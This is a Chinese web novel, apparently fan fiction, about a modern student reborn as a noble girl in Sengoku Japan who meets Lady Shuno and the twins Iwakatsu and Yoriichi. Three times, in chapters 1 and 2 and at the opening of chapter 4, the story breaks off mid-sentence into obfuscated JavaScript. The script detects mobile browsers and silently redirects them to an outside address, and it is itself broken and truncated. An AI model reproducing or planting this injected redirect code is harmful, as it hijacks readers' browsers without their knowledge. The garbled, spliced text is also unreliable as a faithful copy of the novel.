《作为上一的妻子》 1. 第 1 章 你我相逢在黑夜的海上。——《偶然》 你穿越了。 明明昨晚还在和参考文献的格式较劲,恨不能跟电脑过一辈子的。 直到因疲惫视线模糊的前一秒都不会想到,眼一闭一睁,你就变成了柔弱不能自理的小婴儿。 你大声疾呼,奋力挣扎,柔腻的丝绸衣料滑落下去,露出不断晃动的四肢,白白的、嫩嫩的、圆圆的、短短的……一看就知道不可能做什么。 此情此景,怎能不让人如遭雷劈,愣在当场,你的叫喊一声高过一声,刚出喉咙化作尖细的泣音穿透重重屏障。 耳边立即传来凌乱的脚步声和含混的低语,像是好多人冲了过来。不等你做出什么反应,一双结实的胳膊伸过来,抱起你轻抚脊背,伴随着轻声哼唱的歌谣,熟练地摇晃起来,身边的嘈杂也随之停歇。 即使心中有再多的惶恐和不安,你也很难抵挡婴儿之躯的渴睡,何况这个怀抱是如此的温暖,身体散发出的馨香也很好闻,你不甘地蹬瞪腿,顺从地安静下来。陷入沉眠前,只来得及看到身前古色古香的幔帐。 还不错,虽然失去了十年寒窗换来的一切,学历、文凭、前途还有成年人自主的人生,但重投一次胎的你运气尚可,看起来衣食无忧而且仆从成群,就是年代可能不太妙。 很快,你就不这么认为了。 饱睡过后,重新燃起探索勇气的你努力观察四周,比室内布置更早轰炸过来的事实是:你听不懂别人在说什么,几乎一句也听不懂。 历历在目的前世记忆让你确信,自己的智商和理解力绝对没有和身体一起缩水成婴儿级别,那原因只有一个了—— 感谢爷爷奶奶最爱的神剧,你至少听得懂“摩西摩西”,知道自己重开成了日本人。 五年后。 原来是战国时代的日本啊。 借助各种小孩子的手段,包括不限于装乖偷听、套话,你初步了解了这具新身体的处境。 第一个冲击是名字,居然和上一世一模一样,发音不相同,但汉字就是那两个。而叫这个名字的你2.0果然生日也和上一世的一样! 你的世界观都要动摇了,但思考宿命的安排也没有用,你后来还是把重心放在了外界的信息上。 此时,征夷大将军足利尊氏所建立的武家政权已延续一百多年,传承了十一代。也就是在第八代将军的任上,国内爆发了多次叛乱,幕府的控制力不断衰弱,地方割据之势成为定局。 你所在的时透家就是掌管一方的大名,既有幕府封的守护职之名,也手握独属自家的武装,是名副其实的土皇帝。 这并不能令你高兴。 你穿一身轻便的浴衣,有些无语地看着奶娘为首的侍女们匆匆穿过外廊,手球落到地上,蹦了两下滚落开不动了。 毕竟不是真正的小孩子,游戏这种消遣你做做样子给人看而已。时间到了,就乖乖地回到屋内,任由她们给你换上全套见客的衣裳。 生在富裕的武士阶层,算是幸运,可在生产力不足,生活水平低下,平均年龄只有三四十岁,一场感冒都能要人命的十六世纪初,贵族也不意味着有多享福。 尤其身为女性,就更不是了。 是的,你要相亲去了。 “相亲”是你的说法,父母那边的说辞当然是简单的赴宴,幸好机智如你早就从神秘兮兮又莫名亢奋的下人那里打探到了真相。 父亲早和下属讨论了好几回了,还当着你的面演呢! 家主不发话,你一个附庸知不知情都无所谓,生活该怎么样就怎么样,不会有什么变化。 从你驯服了舌头能说话起,一场无形的拉锯随之展开。一开始是食物的问题,因为不想冒寄生虫的风险,你尝试着拒绝生鱼片,结果不得不面对几乎没肉可吃的窘境,再后来…… 短短几年间,你的底线一降再降,健康的饮食、必要的锻炼还有出行和学习的机会,都成为昨日的泡影,婚恋自由让出去也是迟早的事吧。 人果然是环境的产物,降生到古代还想做现代人是不可能的。但就是在每个类似当下的时刻,你鲜明地感到人同样是过去的产物,曾经理所当然、视若无物的一切都可以成为目前不够快乐的理由。 想入非非之际,梳妆结束,你打扮成人偶娃娃的样子,身体要挺得笔直才能撑起层层叠叠的布料。 奶娘满意地调整好腰带,与有荣焉地展示给大家看。 你依教诲小心地交叠双手,务必使两边袖口垂落地弧度对称,目光顺便悲伤地流过自己的短胳膊、短腿,不知道能为改变命运、追求自由做些什么。 这副温良恭俭的模样落在另有心思的大人眼里,立即得到了连番的称赞。 父亲上下扫视满意地点点头,母亲又是担忧又是欣慰,围绕在他们身边的女房们则一叠声道“姬君果然仪态不凡”“谁家的姬君能比得上”。 你人都麻了,恭敬地行礼,一声不吭地顺着导引步出寝殿,上了装饰华丽的牛车。 宴会设在相邻地方的武士家中,是为了展示新得的唐物特意召开的茶会。 你在路上听到了父母对话间的信息,心中了然:这样的会面与其说是炫富,不如说是阅兵一样亮拳头、秀肌肉,震慑潜在的敌人,也吸引新的盟友,而你,主要起到一个造型的作用。 “相亲”真是美化了至少十倍的修饰,实际情况根本就是一场真金白银的利益交换。 这个时候的日本,生在公家尚有保持单身的理由,武家的女儿除非家族彻底落败只能是政治资源。尤其是现任家主,你的父亲,一看就是野心勃勃一心要搞事的人。 你的心情轻松不了一点,多年来召唤系统和金手指失败,重来一回也当不了爽文女主的事实板上钉钉,前世今生,你都只是普通人。 普通人乱世能活得衣食无忧、平平淡淡,足以庆幸了。你正努力安慰着自己,车停了。 赶路没有花太多时间,毕竟日本战国所谓的“国”也就村子大小。 在大门前下了车,你看到一处布局与自家相差不多的庭院。 一般来说,主人的财力越雄厚,宅邸的分区越明显。蜿蜒的中门廊分隔出南北不同的区域,这里不仅建有单栋的会所和常御所,后面的土间、茶间、书斋、佛堂都相对独立,由檐廊连接起来,而不是简单的纸拉门、御帘隔断。 你由此判断什么地方能去什么地方不能,谨慎地跟在母亲身侧,一步也不多走。 众人穿过的廊道上到处悬挂着稻草编织的注连绳,上面绑着各样的纸垂。这是举行净化仪式后留下来的装饰,据说是屋主人相信这样可以避免灾祸进入家门。 “真是迷信啊”你腹诽着,乖乖地依礼停在正堂前。 大人们开始了客套的流程,互相行礼、引见过后,男人们进入会客的“九间”,女人和小孩前往北厢去见这里的女主人,继国夫人。 屋里大概有几拨人,一圈介绍下来,谁是谁家也不好分清楚,只见不同颜色、纹样的和服下摆轻飘飘地拂过,上面散发出熏人的浓香,黄的,绿的、粉的、麻叶、唐草、工霞……弄得人一阵阵地发晕。 置身在这布料和熏香的漩涡中,你习惯性地感到紧张且无所适从,手心渐渐汗湿,机械地跟着问好。 多出来的年纪能让你比同龄人更快学会那些不走心的表面文章,可本性难移,你无法适应所有靠社交手腕才能维持的关系。 不久前才得到的称赞都是表象,你不是也成不了落落大方的名门闺秀,内在依旧是害怕老师提问的内向学生。 就像每个升学后的第一天,新同学们都好像早已熟识彼此,亲昵地拉手拍肩,交换有趣的话题,发出同频率的笑声,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048767|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下你艰难地对着名字和人脸,不知道要如何加入到他们热情的交谈之中。 幸好这样的寒暄点到为止,很快,煮好的茶汤捧了上来,屋内安静下来,大家一起向继国夫人致意。 主座上的女人披一件朱红底棣棠花色的打褂,白色的星月纹蔓草一样从肩头蜿蜒至衣摆,底下的间着也是朱红色的。 如此明艳的色彩并不显得她盛气凌人,相反,那漆黑长发下白皙的面庞平和到有几分哀伤,衬着端庄的坐姿和脸上得体的妆容,像女儿节的人偶。 面对这样的继国夫人,你紧张的情绪慢慢平复下来,从容地端起茶碗。 席间有人问道“怎么不见岩胜少主”。 大人间的谈话总是有好多你来不及记住的人名,你只好不去在意,趁着人们注意力不在这里,偷偷地看过去—— 好嘛,每位夫人身侧至少两三个打扮相似的小团子,这,更难分清楚了! 想到在别人眼里也是差不多的一个小团子,你就跟吃了苦瓜似的,脸都要拉下来了。 “很抱歉,孩子微感小恙,不方便见客。” 继国夫人柔和的嗓音后跟着许多附和的话,有几个夫人半真半假地抱怨最近的天气,说孩子们都病了。 本来,这次宴会真正的主角是各家的实力,嫁娶的男女双方与添头无异,出不出场无关紧要。 你又走神了,险些错过主人家的好意。坐姿无可挑剔的继国夫人请孩子们不必拘束,可以到外面玩。 能站干嘛要跪坐,你积极响应。 你另一项隐蔽的斗争就是尽可能地在这个席居的国家站着,累是一回事,你可不想长成罗圈腿,让本就不富裕的身高雪上加霜。 话说,这个时代的女性平均身高是多少啊? 为了不太显眼,你走得很慢,混在一群几岁大的小人里走出了气氛严肃的常御所,却没有和他们一样兴奋地直扑院子。 你看中了隔壁屋里的壁龛。 处于统治阶级的武士会在这里装饰典籍、茶具、佛像作为置物,来展示他们的财富和品味。一个没什么话语权和资源的小女孩,获取知识的渠道有且只有它了。 幸好,此时的日本大部分书都用汉字书写,阅读起来毫无障碍。虽然因为母语负迁移,你的假名学习进展缓慢,但不是睁眼瞎足够快乐了。 刚学会走路,你就翻遍了家里所有带汉字的纸,然后就没什么娱乐了,上辈子还能翻翻台历,看看食品配料表、洗发水成分,这辈子只能忍着。 现在总算有新的东西可看,激动的心颤抖的手简直忍不住哇。 谨慎地迈过门槛,你小幅度地环顾四周,紧张得心砰砰直跳:很好,没人发现。 没事的,没事的,看看而已,读书人的事,怎么能叫偷偷摸摸呢? 一本、两本、三本,低一些的搁板上的东西很快就取了下来,你把卷轴放到一边,先看线装书。 《孝经》《童子教》,这不是和家里的差不多吗? 《新敕撰和歌集》,不行,有些东西表面是汉字,其实是万叶假名,可怕的很! 《竹取物语》《浦岛子传》,好耶,是汉文小说! 你仿佛受到鼓励,迫不及待地翻开书页—— “你在做什么?” 手一抖,书掉了,你的心也随着落地的书页发出了一声闷响。 糟糕、糟糕,怎么就被发现了呢? 你摊开虚握手心,又开始冒汗了:“没、没啊,没什么……” 这一听就是有什么啊。你一时懊恼,大着胆子转过身,直直地望过去:“我没有……” 身后是一个和你一般大的小男孩,紫衣乌袴,高束着头发,赫赤色的双目一瞬不瞬地迎上来: “你在做什么?” 你忽然就卡了壳,一句话也说不出来了。 2. 第 2 章 男孩说不上面色不善,声音更是无波无澜,坦荡不言自明,半边脸上青紫的伤痕也毫无影响。而你僵立不动、神情惶惶,就差把心虚两个字写出来了。 自从穿越过来,你记不清有多少人夸过时透家的小姬君简直像小大人一样。 可那是假的,你原本就是大人,却没有成人的游刃有余。眼前这个人,才真正是小大人呢,不仅是那副从容的样子,气势也同样让人顶不住。 你惴惴不安地看着他,你们两个的对比是如此惨烈,至此,是非对错已经很分明了。 大脑里一片山呼海啸,你在想象中飞速演完了人赃俱获、身败名裂、众叛亲离、铁窗泪的全部剧情,又响了好几遍沙雕bgm后,丢掉的智商终于迟滞地动了起来: 这、这个人就是她们提到的岩胜少主吧?那他“微感小恙,不便见客”的原因也很明显了。 原来是被打了啊…… 也对,六七岁的小男孩,哪有不调皮捣蛋挨父母揍的呢?不过,脸打成这个样子还是有点…… 你漫无边际的思绪一点点收回来,心里跟着平静下来,手也不抖了,还能镇定地捡起书,一本、一本地放回去。 “受邀来府上做客,却这样冒昧地闯进来,是我太失礼了,真的十分抱歉。” 因为还不熟悉敬语,你说得很慢,一面字斟句酌,一面观察他的表情。解释是解释不清楚的,先诚恳地道歉看能不能补救吧。 好像没有生气的样子?那我是不是能走了? 你绞紧手指,脚底蠢蠢欲动。 岩胜表情不变,看了你好一会儿,眼珠转动移到一侧,脸也微不可见地偏了几分。 你心领神会,从没觉得自己这么懂眼色过,再次道歉,经过他退出了房间。 余光中蓝色的衣角消失在隔扇外,岩胜紧绷的嘴角松懈下来,看起来完全是个孩子了。 他走到你之前站着的地方,蹲下来,敲敲壁龛下方的墙面,传出空空的回响。 “缘一,”他轻声道,“别怕,她没有发现你。” 走出外廊,你马上加快速度回到了嬉闹的孩子中,屋内母亲正和继国夫人聊着什么,没人注意到一墙之隔的地方发生了什么。 你放下心来,装作一直在赏花,绕着院子里的花丛走,气还没喘匀,外面哐当一声响,紧接着又是一阵丁零当啷,回荡在四壁间。 日式园林的围墙是竹子做的,薄薄的一层,隔音效果就是差,声音清清楚楚地传过来,小孩子们全吓住了。 一时之间,没人说什么,大家面面相觑,看着彼此面露犹豫之色。 继国夫人眉心微蹙,看向身边的侍女:“阿系。” 那人连忙行礼退出,看样子是要动身去前面打探消息。 场面一时稳住了,孩子们还是感到了氛围的变化,都安静下来。你看到母亲正向你招手,立刻走向屋内,刚好和来传话的人擦肩而过。 “真是晦气啊,岩胜少主就不该……” “那个人别出现就不会……” 这是在说什么?你一头雾水。 大概是什么没听过的迷信吧。你心里不以为然,款步迈过门槛,像个乖乖女一样依偎在母亲身旁。 “真好啊,我也想有个女儿,可惜不能如愿。”继国夫人笑道。 你的母亲自然是客套回去了,其他几位夫人跟着附和几句,话题很快就转开了。 不过,以日本的国土面积和建筑活动空间,严格的内外大防很难实现,秘密多半也是藏不住的。 你看到坐在末席的几个人交头接耳、窃窃私语,就知道她们多半已经知道了前头发生的事。 以前瞄过几眼大河剧,总觉得里面的男男女女、后妃大臣都随随便便地走动、串门子,现在亲临现场,才知果然如此。 你有点坐不住了,套话得来的信息有限,父亲的具体打算无从得知,可如果情况有变的话,你的婚事也会变的吧? 你惊觉自己原来并没有接受作为筹码送出去的命运,飞快地扫视了一遍在场所有的小团子,想到其中一个可能是你的丈夫,脸都要绿了。 不要啊,非要变的话,那就变没吧,我可不要稀里糊涂地结婚啊! 大概是冥冥中安排了这一场穿越的神灵听到了你的呐喊,下一秒,答案就送上了门。 侍女刚通报了“山田夫人到”,一身红衣的贵妇人已经走了进来。 虽然不清楚古代的日本人讲究不讲究衣服不和主人颜色相撞,但迟顿如你也闻到了空气中的火药味。 听其言观其行,方才那大动静,一定是山田一家搞出来的了。 这是来打擂台了啊,要不要躲开?不容你想出个所以然,艳丽嚣张的女人已来到身前,直勾勾地盯着——你? “老远就听见大家都夸时透家的小姬君,这么一看果然不凡,”她打开扇子磕在下巴上,露出一双似笑非笑的眼,“小姑娘,要不要来我家做客呢,我家没人抱恙哦。” 你的后背冒出了冷汗,为什么一上来就要给社交技能为零的你上这种难度啊! 明晚或者后天晚上,你一定会半夜惊醒想出直戳痛点的绝妙好辞,看怼不死她。可现在,你像每一次被老师叫起来回答问题一样,所有的话都堵在喉咙口。 有没有天理啊,这么多人,就逮着一个小孩儿欺负! 你对她的好感度直接跌破底线。 继国夫人平静地注视着来人。 “山田夫人,你来得晚,前面的好位置可是坐不下了。” 阿系刚刚告诉了她详情,不过是一次示威罢了。 武士间的宴请娱乐只是表象,觥筹交错间完成隐秘的站队方显功力,看来,面对继国、时透两家有结盟意向的消息,山田家是终于坐不住了。 “是吗?那继国夫人要安排我坐哪里呢?”她也不需要你回答,笑眯眯地回头看着主座的位置。 主人以下,最近的就是你和母亲,也就是时透家的席位。 继国夫人丝毫不见为难的神色:“刚好,茶喝完了,我们要到院子里赏花,山田夫人一起来吧。” 这样就可以名正言顺地重新排座位了,一场争端消弭于无形,你钦佩之余,不免为接下来的局面紧张:那个山田夫人,一定不会放过你的。 “继国夫人,”你的母亲开口了,“让孩子们留下好了,带着这么多捣蛋鬼,谁还能安心赏花呢?” 你心下一暖:不管这一世的父亲把你当作什么,母亲终究是生下你的母亲,没有母亲不希望落在孩子身上的风雨能晚些、再晚一些。 母亲、继国夫人,还有那位有些讨厌的山田夫人,都不过二十刚出头的年纪,你上辈子这个岁数最大的烦恼只是论文和早八,她们已为丈夫的利益被迫踏上了角力场。 等待你的又会是怎样的角力场呢? 你悄无声息地叹气,忽然想起了那个脸上青紫的男孩,他也过得很辛苦吧? 各怀鬼胎的赏花宴隔在了一道回廊外,院子另一边,家主们的聚会精彩程度想必也不会弱,那儿才是真正的主战场,这里斗得多么花团锦簇,胜利的落槌由掌权者敲下。 你觉得心累,这就是菜很好吃但人在厨房的感觉吧。 顾不上奶娘的反对,你溜到屏风外,踮脚向外张望。 传统的日式建筑是半开放式的,屋与屋之间没有高墙分隔,透过竹帘和袄障子,你能看到钓殿那边隐约的人影,更详细的互动就不行了。 你不甘心,大着胆子走到了廊下。 继国家的庭院中心是一个大池塘,水面曲回,园林景观沿岸边分布,遍植常绿植物,樱花树、松树和菊花点缀其间,一片郁郁葱葱,很好地遮蔽了窥伺寝殿的视线。 你努力无果,泄气地趴在栏杆上。 就算看得到,又能做些什么呢? 你看着墙角的几杆翠竹,心里憋闷得很。 好烦、好烦、好烦……风景如此美好,但完全提不起兴致,出门一趟莫名被人针对,书也没看到,真的好烦啊…… 等等。 你一下子站直了,竹子怎么在动啊! 岩胜面无表情地看了你一眼,挥刀把看中的竹子砍下来,对着太阳比了一会儿,挑出粗细均匀、大小合适的竹节,手上的胁差划了两下,就完整地锯了下来。 你瞪大眼睛,看着他这里削几刀、那里砍几下,换上更小的钻子试着打孔,这是在—— “笛子不是这样做的。” 你左右一瞧,没人注意这边,飞快地撩起裙摆从栏杆上翻了过去。 “哨口和指孔的位置完全不对,吹出来不会好听的,而且,你没有塞塞子,”你严肃地指出这段竹子上的所有毛病,“吹不响的。” 埋头忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048768|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活的男孩停了下来:“真的?” “当然是真的,不信我做一个塞子给你看。”你给他打包票,拿起放在一边的刀。你可是小学的时候就在少年宫的乐队里吹长笛了。 就是这刀怎么这么沉啊,你握住它费力地举起来,怎么也把不稳。只好交给岩胜,让他来操作。 剩下的一小截材料做成圆柱形,再两面各削去一部分,从竹管一端塞进去,岩胜试着吹响了它。 笛子发出了走调的怪声。 你一点也不惊讶,捡起另一段没用过的竹节,抵在下巴上,闭着眼十指跳动,回忆当年吹奏的感觉,借此标出了六个孔的位置。 “这样就没问题了。”你还要说什么,却听到奶娘正在屏风后正焦急地唤你的名字。 “啊,再见。”你连忙跑走了。 回家的路上,你从父亲那里听到了事情的始末。 “区区一个国人武士,占了几亩地,就妄想和我们平起平坐!”一向威严持重的他,竟气得直接向妻女发泄出来。 你悄悄撇嘴。国人武士、守护大名什么的,不都是村长?屁大一点地方,还要分个三六九等,斗得你死我活,你们得名得利,普通人可惨了。 不过,你还是很高兴父亲没有流露出敲定婚事的样子,你暂时逃过一劫。 这背后的博弈你不清楚,但很明显,父亲没有他嘴上说的那样瞧不起山田家,尤其是在母亲转述了山田夫人的话后,他深思熟虑的样子,差点儿让你心脏停跳。 你不知一次听到过父亲背地里臧否各家,过分活跃的国人武士、固守旧俗的传统武士,都逃不掉他的刻薄。他鄙夷山田家的进退失矩,也嘲笑继国家早有衰败之相。 父亲说继国家主崇尚的勇武和他相信出门先迈哪只脚一样迂腐可笑,重振家业无望的人才会如此迷信。 父亲还说,现在早就不是家主一人勇冠三军就可以赢得荣耀的时代了,莽夫和村夫都会被淘汰掉,他这样的聪明人才能长久。 他说的你都不懂,你只看到分家篡夺主家、家臣取代家主、农民战胜武士,实力至上的时代什么都可能发生,一个合格的政治家会充分考虑各种可能性采取必要的措施。 你该庆幸,因为这一代时透家只有你一位姬君,投石问路的第一枚石子,说什么都要谨慎才是。 但你只感到深深的悲哀,靠紧了奶娘,你在这世上得到的第一个温暖怀抱。 而你的母亲看着自己尚不明显的小腹,她已生下一子一女,明年还会再添一个,是女孩儿的话,怎么安排呢? 于是,你继续过小孩子的生活,然而,有些教育还是提上了日程。 母亲用各家往来的书信给你启蒙。 夫人间的辞令并不复杂,大部分是寒暄和互相送礼,但如果有心的话,只是这些也能看出很多来。 你先看到了上次宴会后的通信。 原来,继国夫人叫朱乃。 她送给你一只一节切尺八。 所有礼物都精心地包裹好收了起来,一部分当作置物摆在台面上,一部分不知道去了那里。 那是以家族名义社交的一部分,和收件人关系不大。 你没怎么在意,很快投入到回信的浪潮中。 母亲让你来代笔给各位夫人回信,借此锻炼假名的书写,也学习一个主母和人打交道的技巧和分寸,当然了,茶道和女红也不能落下。 每日的清晨从墨香和茶粉的气息开始,书信写好了卷起来,碧绿的茶汤全进了奶娘和侍女们的肚子。 旧日的记忆顽固地占据着心灵和脑海的上风,影响绵延至今,所以你喝不惯这它,还是觉得抹茶就该勇闯甜品赛道。 一开始她们都不接受。 “奴怎么配饮贵人的茶汤呢?” 你软磨硬泡了几天,一直磨到她们都自发地喝光你炮制出的成品、半成品。 不管你觉得过程多么得失败,她们都一脸幸福、光荣地喝个干净。 咦,好可怕啊。 你鸡皮疙瘩都起来了。 这样完成作业、交作业、领新作业的循环完全就是新时代学生党的舒适区,你飞快地适应了节奏,只当是换了专业,获取一点望梅止渴的快乐。 快乐这玩意儿的特点就是,它过得非常快。 你的父亲准备好了嫁妆,宣布了和山田家的联姻。 3. 第 3 章 一直到着手置办订婚仪式的装饰品,你都是麻木的。 订婚都来了,结婚还会远吗?知道这个时代嫁人很早,但没想到会这么早啊! 家里来了好多人。不同装束、不同方向来的人挤满了前厅,行色匆匆地来来去去,有时一言不发,有时吵得不可开交。 女人们噤若寒蝉,而你被勒令不许出房间,只能坐着干瞪眼。 等里里外外都安静下来后,好几个月过去了。母亲走了进来,要带你到国内有名的寺庙为婚事祈福,祷告接下来的仪式顺利。 还能做什么呢,也只能接受了吧。 这就是你在那群人冲进来的时候完全傻住的原因。 总之,你还是搞清楚了状况,那就是父亲最终的选择依旧是他先看中的盟友,你的“订婚”就是两家第一次的试炼。 国人武士的僭越激怒了这些世代沿袭的老家伙,交换礼单正是发起突袭的好时候。 忠心的下属簇拥着你避入了继国家。 所以我现在的身份是人质?从慌乱中回过神来,你看到了朱乃夫人沉静的面容,她正指挥着下人安顿好你们母女二人。 母亲毕竟大着肚子,正是危险的月份,就是心里有准备,折腾一整天也撑不住了,告罪后没等天黑便去休息了,第二天也没起来,留你规规矩矩地坐在朱乃夫人面前,代表着时透家的诚意。 特训毫无用处,你坐得双腿发麻、肩背僵直,也说不出一句符合场合的漂亮话,所有学过的套路经过你光滑的大脑皮层什么也没剩下,真是书到用时方恨少。 可是,这种情况,读再多书也没用吧? 你口干舌燥,如临大敌。 终于,对面的朱乃夫人宽容地笑了。 欸,人偶一样的朱乃夫人笑了。 “过来坐。”她拍拍一旁的坐垫,你如释重负,踱着小碎步靠了过去。 “喜欢我的礼物吗?” “喜欢,”其实你没有见到,“就是不知道怎么吹。” 一节切被认为是日本尺八的前身,和竖笛一样是竖吹的气鸣乐器,但其实音孔的数量还有指法完全不同。 朱乃夫人用自己的笛子吹了一曲给你听,吹得慢慢悠悠的,说不出得好听,能看出她是很喜欢音乐的。 “这是我家乡的小调,像你这么大的时候,我天天唱。” 她放下笛子,用手打着节拍唱,声音婉转悠扬。* “小姬君家里教什么呢?” 你穿越至今没学会一首歌,不过没关系,日本贵族喜欢吟诵汉诗,这个你可太擅长了。 你从必备古诗词里挑了两首,解释完意思,按现代人谱曲的版本轻轻地哼唱给她听,并且强调是标准的汉语发音,朱乃夫人非常捧场地称赞了你。 她没有听懂,没关系,这里没人能听懂。是你无法抵御这样的诱惑——在一个安全的环境里袒露真实的自我。 朱乃夫人,还有不远处继国家的仆人们,不可能到时透家去打听你从哪里学来了这些东西,她们感慨过后就会忘掉,而你已在短短两首歌的时间里,自如地展现了本来的面目。 这是只有对陌生人,才能做到的事。 歌声结束,你腼腆地露出了走进继国家来的第一个笑容,感到全身心久违地放松。 没办法,你做不到时时刻刻的扮演,总得有一个出口来发泄。 “好哦,”朱乃夫人赞道,“还有吗?” 这时,仆人适当地上前传话,暗示女主人前方有了消息。 “母亲大人,”男孩跪坐在帘外,声音不符合年纪得沉稳,“父亲不日将返回,请母亲放心。” 这是胜利了?不,不一定。 一时间你心乱如麻,下意识地跟着看向外面,期待他能多说一点。 “我明白了,”朱乃夫人温柔地点头,“岩胜你累不累?进来喝口茶再去休息吧,我过会儿来看你。” 侍女阿系捧着茶走到廊檐下,你才恍然大悟,因为有你这个外客在屋子里,岩胜才停在帘外先遣人来通报。 想起那天偷偷翻人家的书还被逮个正着,你后知后觉地感到了自己的冒犯和失礼,害羞得脸都涨红了。 先别慌。你安慰自己,他应该没有说出去,更有可能的是,已经忘了。 安慰无效,岩胜走了进来,你们按初次见面的礼节互相行礼,只一会儿你又紧张得手脚不知道往哪里放了。 “夫人,”你攥紧手给自己打气,“小女想亲口把这个消息告诉母亲,她一定担心坏了,请您允许。” 听到了吗,重点是“亲口”,快让我走吧。 岩胜一句话戳破了你的打算:“时透大人的信使一同出发了,信件大概已经到了,姬君无需忧虑。” 他是出于好心,可你再度词穷,僵硬地道谢完,垂着眼交叠双手规矩地摁在膝上装死。 朱乃夫人误以为你是思念生母,心中怜意更盛,轻抚你的发顶:“我派人看了,你母亲太累了,我们不要吵醒她,让这个哥哥陪你玩好不好?” 从她促狭的神情中,你明白她果然是知情的。所以,送一节切就是这个原因吧! 轰地一声,热度从脖颈升到了头顶,你满脸通红,脑子也烧干了。 呜,不要啊…… “那,”悬着的心终于死了,你破罐子破摔,“你的笛子做好了吗?怎么样?” “还是不太行。” 说是陪着玩,其实岩胜只是看着你一个人拍手球。见你也没什么兴趣,他就礼貌地打了声招呼,在一旁练起刀来。 继国家正值非常时期,精锐全部上了战场,这里无人监督也无人教导他。岩胜浑不在意,就练习最基础的挥刀,一模一样的动作重复几百次也不见腻。 唉,要是让前世妈妈看到了,保准揪着耳朵让你好好跟“别人家的孩子”学学。 你反过来看他练刀,趁着间隙搭话。 “声音还是有点不准,母亲说是因为开音孔前竹筒没有校直。而且,刚砍下的竹子太新鲜了,不能直接拿来用,那样保存不了太久,所以我又返工了。” 解释完,他看看你的脸色,似乎认为你被打击到了,补充道:“但比我一开始做的强太多了,多谢你,他很……” 岩胜急急地咬住半截话头,埋头继续挥刀。 他很喜欢的样子,看来笛子是做的不错。但这件事,不能让你知道。 你的思维早发散开了,完全没有注意到岩胜方才的不自然。 刚砍下的竹子不能直接用啊,你没想到这一点,毕竟你用的都是成品的树脂、木质还有金属的笛子,塞子的形状还是有次摔坏了才看到的。 有了经验,回去自己也可以想办法做一只出来了。 真的好想再吹一次啊,放学后,妈妈一页一页地帮你翻着乐谱、打着节奏,就那样吹一次。 一直到岩胜练完了刀,你都有些魂不守舍。为了掩饰,你主动问他:“玩点别的吧,双六、围棋、风筝?” 最后一句话,你是指着树枝上挂着的风筝说的。刚刚它飘了过来,越飞越低,调整了好几次方向,还是缠在了树上。 是谁在隔壁放风筝?岩胜的弟弟妹妹?没听说过,怎么不过来取呢? 岩胜抬起头,这才注意到了它。 “你先等等,我去去就来。” 其实你没有想放风筝,只是要找个话题,看着他有礼貌地告辞又步履匆匆的样子,心里感到疑惑。 来到墙角的樱花树下,仰起脸看着那只孤零零风筝,尴尬的心情有所缓解。 如果能选,你更想看书,但因为那件事,你不好意思提。 娱乐方式实在有限,没手机有书看也是好的啊。你蹦起来去够风筝长长的尾巴,一下又一下。 啧,够不着。 好过分,什么时候能长高啊。矮豆丁一个,什么也做不成。 你铆足劲助跑,猛地往上一窜,同时伸长了手臂——欸、欸、欸,欸?! 你一头撞在了树干上,树上,缘一抱着风筝不知所措地看向你。 清醒过来,朱乃夫人正一脸担忧地用手帕揉着你的额角。 不用照镜子,你也知道那儿青紫一片,可能还肿了起来。头好晕,有点儿想吐,糟糕,不是脑震荡了吧?听说每脑震荡一次,考大学的概率就会降低15%,这可怎么办? 你急得不知如何是好,等眼前的雾散去,朱乃夫人的脸清晰地显现出来,你才想到,穿越前你早就考上大学,研究生都读好几年了,而现在,你早就不用考大学了。 “我、我看到了一个和岩胜一模一样的人!”你激动地语无伦次,“在那儿,就在那儿,真的一模一样!” 树上空无一人。 “你看错了,怎么会有人长得一样呢?”朱乃夫人温柔地握住你的手指,不由分说地摁了下去。 岩胜站在一边,脸绷得很紧,乍一看像瞪着谁。但你觉得他其实是很不安,像做错了事的样子。 “是不完全一样,”你收回视线,认真地比比划划,“他这里、还有这里看起来红红的。但其他地方真的很像。” 你确定自己没有看错。虽然下一秒就眼冒金星了,但那绝对是一个大活人,而且身手敏捷,一下就翻过墙头探到树梢取下了风筝。 “你们看,风筝没有了,”你更加言之凿凿,“一定是他拿走了。” 随即又担心道:“他头上红色的,不会是磕到了在流血吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048769|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你看到朱乃夫人肩膀连着细颈的那部分绷住,整个向上蜷起,像拉开的弓箭,然后随着一声长长的的呼气松了下来。 “我告诉小姬君,你可不要说出去哦。”最终,她笑眯眯地说道。 你就这么认识了岩胜、缘一兄弟俩。 “怎么会不吉利呢?”你看着缘一脸上的火焰一样的印记,所剩无几的医学常识艰难冒头。 红色胎记是人体缺乏某些元素导致的吧,营养水平不高的年代很正常,即使现代也会有固定的比例的小孩儿带着胎记出生,就是不走运罢了。 